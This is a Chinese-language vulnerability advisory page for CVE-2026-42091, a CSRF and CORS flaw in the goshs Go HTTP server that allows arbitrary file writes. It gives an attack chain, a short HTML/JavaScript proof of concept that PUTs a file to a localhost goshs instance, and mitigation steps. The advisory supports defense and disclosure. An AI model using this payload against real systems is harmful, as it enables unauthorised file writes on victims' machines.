IPBUF安全漏洞报告
English
CVE-2026-42091 CVSS 6.5 中危

CVE-2026-42091 goshs CSRF漏洞致任意文件写入

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42091
漏洞类型
CSRF
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
goshs

相关标签

CSRFCORSgoshs任意文件写入Go

漏洞概述

goshs是一款基于Go语言的HTTP服务器。在2.0.2版本之前,其PUT上传处理程序缺少CSRF令牌验证,而此前POST处理程序已修复此问题。同时,OPTIONS预检处理程序无条件设置`Access-Control-Allow-Origin: *`。攻击者可利用这两点,通过受害者的浏览器向goshs实例写入任意文件,从而绕过网络隔离(如本地主机或内网)。该问题已在2.0.2版本中修复。

技术细节

该漏洞源于goshs在处理文件上传时的安全逻辑不一致。在修复上一个CVE时,开发人员仅对POST方法的上传接口添加了CSRF Token验证,却忽略了PUT方法接口。此外,服务器的CORS配置存在缺陷,对OPTIONS请求返回`Access-Control-Allow-Origin: *`,允许任意跨域请求。攻击者可以构造恶意网页,诱导受害者访问。当受害者浏览器加载该页面时,JavaScript利用CORS漏洞,向受害者本地或内网的goshs服务发起PUT请求。由于PUT接口缺乏CSRF校验,服务器会接受请求并将攻击者指定的内容写入服务器文件系统,实现任意文件写入。

攻击链分析

STEP 1
诱导访问
攻击者诱导受害者访问包含恶意JavaScript代码的网站。
STEP 2
发送跨域请求
受害者浏览器执行脚本,向内网或本地的goshs服务发送OPTIONS预检请求。
STEP 3
绕过CORS限制
goshs服务响应`Access-Control-Allow-Origin: *`,允许浏览器继续发送跨域请求。
STEP 4
执行PUT上传
浏览器发送PUT请求,携带恶意文件数据至goshs的上传接口。
STEP 5
写入文件
goshs因PUT接口缺少CSRF验证,处理请求并将文件写入服务器磁盘。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-42091 --> <!-- Usage: Host this file and open in a browser while goshs is running on localhost --> <!DOCTYPE html> <html> <body> <script> // Target the goshs instance (e.g., localhost) const targetUrl = 'http://localhost:8000/upload/malicious.txt'; const maliciousContent = 'This is a malicious file content via CVE-2026-42091'; fetch(targetUrl, { method: 'PUT', headers: { 'Content-Type': 'text/plain' }, body: maliciousContent }) .then(response => response.text()) .then(data => console.log('Upload success:', data)) .catch(error => console.error('Upload failed:', error)); </script> <p>CVE-2026-42091 PoC: Check console for results.</p> </body> </html>

影响范围

goshs < 2.0.2

防御指南

临时缓解措施
建议立即升级至2.0.2版本以彻底修复此漏洞。如果暂时无法升级,应确保goshs服务不监听公网IP,仅允许本地回环地址(127.0.0.1)访问,或者在反向代理层面增加严格的认证机制和跨域限制,防止外部恶意请求利用此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表